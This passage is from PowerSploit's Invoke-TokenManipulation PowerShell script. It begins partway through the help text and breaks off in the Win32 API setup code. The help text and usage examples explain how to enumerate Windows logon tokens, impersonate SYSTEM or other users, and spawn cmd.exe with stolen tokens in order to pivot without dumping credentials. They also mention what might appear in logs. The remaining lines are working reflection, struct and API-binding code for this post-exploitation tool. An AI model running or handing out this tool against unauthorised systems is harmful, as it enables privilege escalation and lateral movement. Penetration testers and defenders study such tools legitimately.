Token, so it will use their +credentials for the authentication. + +IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone". +This is done so that the UI of the process is shown. If you do not need the UI, use the -NoUI flag to prevent the ACL from being modified. This ACL +is not permenant, as in, when the current logs off the ACL is cleared. It is still preferrable to not modify things unless they need to be modified though, +so I created the NoUI flag. ALSO: When creating a process, the script will request SeSecurityPrivilege so it can enumerate and modify the ACL of the desktop. +This could show up in logs depending on the level of monitoring. + + +PERMISSIONS REQUIRED: +SeSecurityPrivilege: Needed if launching a process with a UI that needs to be rendered. Using the -NoUI flag blocks this. +SeAssignPrimaryTokenPrivilege : Needed if launching a process while the script is running in Session 0. + + +Important differences from incognito: +First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates +between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service +which has threads impersonating multiple users. Incognito can enumerate all tokens available to the service process, and impersonate them (which might allow +you to elevate privileges). This script must be run as administrator, and because you are already an administrator, the primary use of this script is for pivoting +without dumping credentials. + +In this situation, Impersonation vs Delegation does not matter because an administrator can turn any token in to a primary token (delegation rights). What does +matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for +the user. Since the computer has no credentials associated with the token, it will not be possible to authenticate off-box with the token. All other logon types +should have credentials associated with them (such as Interactive logon, Service logon, Remote interactive logon, etc). Therefore, this script looks +for tokens which were created with desirable logon tokens (and only displays them by default). + +In a nutshell, instead of worrying about "delegation vs impersonation" tokens, you should worry about NetworkLogon (bad) vs Non-NetworkLogon (good). + + +PowerSploit Function: Invoke-TokenManipulation +Author: Joe Bialek, Twitter: @JosephBialek +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. + +.PARAMETER Enumerate + +Switch. Specifics to enumerate logon tokens available. By default this will only list unqiue usable tokens (not network-logon tokens). + +.PARAMETER RevToSelf + +Switch. Stops impersonating an alternate users Token. + +.PARAMETER ShowAll + +Switch. Enumerate all Logon Tokens (including non-unique tokens and NetworkLogon tokens). + +.PARAMETER ImpersonateUser + +Switch. Will impersonate an alternate users logon token in the PowerShell thread. Can specify the token to use by Username, ProcessId, or ThreadId. + This mode is not recommended because PowerShell is heavily threaded and many actions won't be done in the current thread. Use CreateProcess instead. + +.PARAMETER CreateProcess + +Specify a process to create with an alternate users logon token. Can specify the token to use by Username, ProcessId, or ThreadId. + +.PARAMETER WhoAmI + +Switch. Displays the credentials the PowerShell thread is running under. + +.PARAMETER Username + +Specify the Token to use by username. This will choose a non-NetworkLogon token belonging to the user. + +.PARAMETER ProcessId + +Specify the Token to use by ProcessId. This will use the primary token of the process specified. + +.PARAMETER Process + +Specify the token to use by process object (will use the processId under the covers). This will impersonate the primary token of the process. + +.PARAMETER ThreadId + +Specify the Token to use by ThreadId. This will use the token of the thread specified. + +.PARAMETER ProcessArgs + +Specify the arguments to start the specified process with when using the -CreateProcess mode. + +.PARAMETER NoUI + +If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the +current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control +to "Everyone". + +.PARAMETER PassThru + +If you are creating a process, this will pass the System.Diagnostics.Process object to the pipeline. + + +.EXAMPLE + +Invoke-TokenManipulation -Enumerate + +Lists all unique usable tokens on the computer. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system" + +Spawns cmd.exe as SYSTEM. + +.EXAMPLE + +Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system" + +Makes the current PowerShell thread impersonate SYSTEM. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 + +Spawns cmd.exe using the primary token belonging to process ID 500. + +.EXAMPLE + +Invoke-TokenManipulation -ShowAll + +Lists all tokens available on the computer, including non-unique tokens and tokens created using NetworkLogon. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500 + +Spawns cmd.exe using the token belonging to thread ID 500. + +.EXAMPLE + +Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" + +Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script. + +.EXAMPLE + +(Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" -PassThru).WaitForExit() + +Spawns cmd.exe using the primary token of LSASS.exe. Then holds the spawning PowerShell session until that process has exited. + +.EXAMPLE + +Get-Process wininit | Invoke-TokenManipulation -ImpersonateUser + +Makes the current thread impersonate the lsass security token. + +.NOTES +This script was inspired by incognito. + +Several of the functions used in this script were written by Matt Graeber(Twitter: @mattifestation, Blog: http://www.exploit-monday.com/). +BIG THANKS to Matt Graeber for helping debug. + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ + +#> + + [CmdletBinding(DefaultParameterSetName="Enumerate")] + Param( + [Parameter(ParameterSetName = "Enumerate")] + [Switch] + $Enumerate, + + [Parameter(ParameterSetName = "RevToSelf")] + [Switch] + $RevToSelf, + + [Parameter(ParameterSetName = "ShowAll")] + [Switch] + $ShowAll, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Switch] + $ImpersonateUser, + + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $CreateProcess, + + [Parameter(ParameterSetName = "WhoAmI")] + [Switch] + $WhoAmI, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $Username, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + [Int] + $ProcessId, + + [Parameter(ParameterSetName = "ImpersonateUser", ValueFromPipeline=$true)] + [Parameter(ParameterSetName = "CreateProcess", ValueFromPipeline=$true)] + [System.Diagnostics.Process] + $Process, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + $ThreadId, + + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $ProcessArgs, + + [Parameter(ParameterSetName = "CreateProcess")] + [Switch] + $NoUI, + + [Parameter(ParameterSetName = "CreateProcess")] + [Switch] + $PassThru + ) + + Set-StrictMode -Version 2 + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + ############################### + #Win32Constants + ############################### + $Constants = @{ + ACCESS_SYSTEM_SECURITY = 0x01000000 + READ_CONTROL = 0x00020000 + SYNCHRONIZE = 0x00100000 + STANDARD_RIGHTS_ALL = 0x001F0000 + TOKEN_QUERY = 8 + TOKEN_ADJUST_PRIVILEGES = 0x20 + ERROR_NO_TOKEN = 0x3f0 + SECURITY_DELEGATION = 3 + DACL_SECURITY_INFORMATION = 0x4 + ACCESS_ALLOWED_ACE_TYPE = 0x0 + STANDARD_RIGHTS_REQUIRED = 0x000F0000 + DESKTOP_GENERIC_ALL = 0x000F01FF + WRITE_DAC = 0x00040000 + OBJECT_INHERIT_ACE = 0x1 + GRANT_ACCESS = 0x1 + TRUSTEE_IS_NAME = 0x1 + TRUSTEE_IS_SID = 0x0 + TRUSTEE_IS_USER = 0x1 + TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5 + TRUSTEE_IS_GROUP = 0x2 + PROCESS_QUERY_INFORMATION = 0x400 + TOKEN_ASSIGN_PRIMARY = 0x1 + TOKEN_DUPLICATE = 0x2 + TOKEN_IMPERSONATE = 0x4 + TOKEN_QUERY_SOURCE = 0x10 + STANDARD_RIGHTS_READ = 0x20000 + TokenStatistics = 10 + TOKEN_ALL_ACCESS = 0xf01ff + MAXIMUM_ALLOWED = 0x02000000 + THREAD_ALL_ACCESS = 0x1f03ff + ERROR_INVALID_PARAMETER = 0x57 + LOGON_NETCREDENTIALS_ONLY = 0x2 + SE_PRIVILEGE_ENABLED = 0x2 + SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1 + SE_PRIVILEGE_REMOVED = 0x4 + } + + $Win32Constants = New-Object PSObject -Property $Constants + ############################### + + + ############################### + #Win32Structures + ############################### + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + #ENUMs + $TypeBuilder = $ModuleBuilder.DefineEnum('TOKEN_INFORMATION_CLASS', 'Public', [UInt32]) + $TypeBuilder.DefineLiteral('TokenUser', [UInt32] 1) | Out-Null + $TypeBuilder.DefineLiteral('TokenGroups', [UInt32] 2) | Out-Null + $TypeBuilder.DefineLiteral('TokenPrivileges', [UInt32] 3) | Out-Null + $TypeBuilder.DefineLiteral('TokenOwner', [UInt32] 4) | Out-Null + $TypeBuilder.DefineLiteral('TokenPrimaryGroup', [UInt32] 5) | Out-Null + $TypeBuilder.DefineLiteral('TokenDefaultDacl', [UInt32] 6) | Out-Null + $TypeBuilder.DefineLiteral('TokenSource', [UInt32] 7) | Out-Null + $TypeBuilder.DefineLiteral('TokenType', [UInt32] 8) | Out-Null + $TypeBuilder.DefineLiteral('TokenImpersonationLevel', [UInt32] 9) | Out-Null + $TypeBuilder.DefineLiteral('TokenStatistics', [UInt32] 10) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedSids', [UInt32] 11) | Out-Null + $TypeBuilder.DefineLiteral('TokenSessionId', [UInt32] 12) | Out-Null + $TypeBuilder.DefineLiteral('TokenGroupsAndPrivileges', [UInt32] 13) | Out-Null + $TypeBuilder.DefineLiteral('TokenSessionReference', [UInt32] 14) | Out-Null + $TypeBuilder.DefineLiteral('TokenSandBoxInert', [UInt32] 15) | Out-Null + $TypeBuilder.DefineLiteral('TokenAuditPolicy', [UInt32] 16) | Out-Null + $TypeBuilder.DefineLiteral('TokenOrigin', [UInt32] 17) | Out-Null + $TypeBuilder.DefineLiteral('TokenElevationType', [UInt32] 18) | Out-Null + $TypeBuilder.DefineLiteral('TokenLinkedToken', [UInt32] 19) | Out-Null + $TypeBuilder.DefineLiteral('TokenElevation', [UInt32] 20) | Out-Null + $TypeBuilder.DefineLiteral('TokenHasRestrictions', [UInt32] 21) | Out-Null + $TypeBuilder.DefineLiteral('TokenAccessInformation', [UInt32] 22) | Out-Null + $TypeBuilder.DefineLiteral('TokenVirtualizationAllowed', [UInt32] 23) | Out-Null + $TypeBuilder.DefineLiteral('TokenVirtualizationEnabled', [UInt32] 24) | Out-Null + $TypeBuilder.DefineLiteral('TokenIntegrityLevel', [UInt32] 25) | Out-Null + $TypeBuilder.DefineLiteral('TokenUIAccess', [UInt32] 26) | Out-Null + $TypeBuilder.DefineLiteral('TokenMandatoryPolicy', [UInt32] 27) | Out-Null + $TypeBuilder.DefineLiteral('TokenLogonSid', [UInt32] 28) | Out-Null + $TypeBuilder.DefineLiteral('TokenIsAppContainer', [UInt32] 29) | Out-Null + $TypeBuilder.DefineLiteral('TokenCapabilities', [UInt32] 30) | Out-Null + $TypeBuilder.DefineLiteral('TokenAppContainerSid', [UInt32] 31) | Out-Null + $TypeBuilder.DefineLiteral('TokenAppContainerNumber', [UInt32] 32) | Out-Null + $TypeBuilder.DefineLiteral('TokenUserClaimAttributes', [UInt32] 33) | Out-Null + $TypeBuilder.DefineLiteral('TokenDeviceClaimAttributes', [UInt32] 34) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedUserClaimAttributes', [UInt32] 35) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedDeviceClaimAttributes', [UInt32] 36) | Out-Null + $TypeBuilder.DefineLiteral('TokenDeviceGroups', [UInt32] 37) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedDeviceGroups', [UInt32] 38) | Out-Null + $TypeBuilder.DefineLiteral('TokenSecurityAttributes', [UInt32] 39) | Out-Null + $TypeBuilder.DefineLiteral('TokenIsRestricted', [UInt32] 40) | Out-Null + $TypeBuilder.DefineLiteral('MaxTokenInfoClass', [UInt32] 41) | Out-Null + $TOKEN_INFORMATION_CLASS = $TypeBuilder.CreateType() + + #STRUCTs + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LARGE_INTEGER', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LARGE_INTEGER = $TypeBuilder.CreateType() + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [Int32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + + #Struct TOKEN_STATISTICS + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_STATISTICS', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('TokenId', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('AuthenticationId', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('ExpirationTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('TokenType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ImpersonationLevel', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('DynamicCharged', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('DynamicAvailable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('GroupCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ModifiedId', $LUID, 'Public') | Out-Null + $TOKEN_STATISTICS = $TypeBuilder.CreateType() + + #Struct LSA_UNICODE_STRING + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LSA_UNICODE_STRING', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Length', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MaximumLength', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Buffer', [IntPtr], 'Public') | Out-Null + $LSA_UNICODE_STRING = $TypeBuilder.CreateType() + + #Struct LSA_LAST_INTER_LOGON_INFO + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LSA_LAST_INTER_LOGON_INFO', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('LastSuccessfulLogon', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('LastFailedLogon', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('FailedAttemptCountSinceLastSuccessfulLogon', [UInt32], 'Public') | Out-Null + $LSA_LAST_INTER_LOGON_INFO = $TypeBuilder.CreateType() + + #Struct SECURITY_LOGON_SESSION_DATA + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('SECURITY_LOGON_SESSION_DATA', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Size', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('LoginID', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Username', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LoginDomain', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('AuthenticationPackage', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LogonType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Session', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Sid', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('LoginTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('LoginServer', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('DnsDomainName', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('Upn', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('UserFlags', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('LastLogonInfo', $LSA_LAST_INTER_LOGON_INFO, 'Public') | Out-Null + $TypeBuilder.DefineField('LogonScript', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('ProfilePath', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('HomeDirectory', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('HomeDirectoryDrive', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LogoffTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('KickOffTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordLastSet', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordCanChange', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordMustChange', $LARGE_INTEGER, 'Public') | Out-Null + $SECURITY_LOGON_SESSION_DATA = $TypeBuilder.CreateType() + + #Struct STARTUPINFO + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null + $STARTUPINFO = $TypeBuilder.CreateType() + + #Struct PROCESS_INFORMATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null + $PROCESS_INFORMATION = $TypeBuilder.CreateType() + + #Struct TOKEN_ELEVATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_ELEVATION', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('TokenIsElevated', [UInt32], 'Public') | Out-Null + $TOKEN_ELEVATION = $TypeBuilder.CreateType() + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + + #Struct ACE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACE_HEADER', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('AceType', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AceFlags', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AceSize', [UInt16], 'Public') | Out-Null + $ACE_HEADER = $TypeBuilder.CreateType() + + #Struct ACL + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACL', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('AclRevision', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('Sbz1', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AclSize', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('AceCount', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Sbz2', [UInt16], 'Public') | Out-Null + $ACL = $TypeBuilder.CreateType() + + #Struct ACE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACCESS_ALLOWED_ACE', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Header', $ACE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('Mask', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SidStart', [UInt32], 'Public') | Out-Null + $ACCESS_ALLOWED_ACE = $TypeBuilder.CreateType() + + #Struct TRUSTEE + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TRUSTEE', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('pMultipleTrustee', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('MultipleTrusteeOperation', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TrusteeForm', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TrusteeType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ptstrName', [IntPtr], 'Public') | Out-Null + $TRUSTEE = $TypeBuilder.CreateType() + + #Struct EXPLICIT_ACCESS + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('EXPLICIT_ACCESS', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('grfAccessPermissions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('grfAccessMode', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('grfInheritance', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Trustee', $TRUSTEE, 'Public') | Out-Null + $EXPLICIT_ACCESS = $TypeBuilder.CreateType() + ############################### + + + ############################### + #Win32Functions + ############################### + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + + $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken + $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) + + $GetTokenInformationAddr = Get-ProcAddress advapi32.dll GetTokenInformation + $GetTokenInformationDelegate = Get-DelegateType @([IntPtr], $TOKEN_INFORMATION_CLASS, [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $GetTokenInformation = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetTokenInformationAddr, $GetTokenInformationDelegate) + + $SetThreadTokenAddr = Get-ProcAddress advapi32.dll SetThreadToken + $SetThreadTokenDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([Bool]) + $SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate) + + $ImpersonateLoggedOnUserAddr = Get-ProcAddress advapi32.dll ImpersonateLoggedOnUser + $ImpersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $ImpersonateLoggedOnUser = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateLoggedOnUserAddr, $ImpersonateLoggedOnUserDelegate) + + $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf + $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) + $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) + + $LsaGetLogonSessionDataAddr = Get-ProcAddress secur32.dll LsaGetLogonSessionData + $LsaGetLogonSessionDataDelegate = Get-DelegateType @([IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) + $LsaGetLogonSessionData = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaGetLogonSessionDataAddr, $LsaGetLogonSessionDataDelegate) + + $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW + $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) + $CreateProcessWithTokenW = 